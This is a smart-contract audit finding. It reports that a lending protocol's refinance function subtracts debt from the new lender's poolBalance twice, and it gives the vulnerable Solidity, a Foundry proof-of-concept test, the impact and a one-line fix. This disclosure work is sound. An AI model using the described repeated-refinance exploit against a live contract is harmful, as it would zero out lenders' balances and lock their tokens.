Summary
Calling refinance
decrements the new lender's poolBalance
twice.
Vulnerability Details
During the refinace
logic, the poolBalance
of poolId
is updated twice to decrease by twice the actual borrowed quantity.
After updating with _updatePoolBalance(poolId, pools[poolId].poolBalance - debt);
, it is finally reduced once more with pools[poolId].poolBalance -= debt;
.
A malicious user could exploit this to run the refinance
repeatedly, wiping out the poolBalance
of a particular lender. The loanToken
is then locked inside the protocol and cannot be recovered.
function refinance(Refinance[] calldata refinances) public {
for (uint256 i = 0; i < refinances.length; i++) {
uint256 loanId = refinances[i].loanId;
bytes32 poolId = refinances[i].poolId;
bytes32 oldPoolId = keccak256(
abi.encode(
loans[loanId].lender,
loans[loanId].loanToken,
loans[loanId].collateralToken
)
);
uint256 debt = refinances[i].debt;
uint256 collateral = refinances[i].collateral;
Loan memory loan = loans[loanId];
...
_updatePoolBalance(poolId, pools[poolId].poolBalance - debt);
pools[poolId].outstandingLoans += debt;
...
loans[loanId].collateral = collateral;
loans[loanId].interestRate = pool.interestRate;
loans[loanId].startTimestamp = block.timestamp;
loans[loanId].auctionStartTimestamp = type(uint256).max;
loans[loanId].auctionLength = pool.auctionLength;
loans[loanId].lender = pool.lender;
pools[poolId].poolBalance -= debt;
...
}
}
POC:
function test_refinance() public {
test_borrow();
vm.startPrank(lender2);
Pool memory p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(p);
vm.startPrank(borrower);
Refinance memory r = Refinance({
loanId: 0,
poolId: keccak256(
abi.encode(
address(lender2),
address(loanToken),
address(collateralToken)
)
),
debt: 100*10**18,
collateral: 100*10**18
});
Refinance[] memory rs = new Refinance[](1);
rs[0] = r;
lender.refinance(rs);
(,,,,uint256 poolBalance,,,,) = lender.pools(
lender.getPoolId(lender2, address(loanToken), address(collateralToken))
);
assertEq(poolBalance, 1000e18 - 100e18);
}
Impact
A malicious user can make lender's poolBalance
to zero, and lock loan token in protocol.
Tools Used
VS Code
Recommendations
remove pools[poolId].poolBalance -= debt;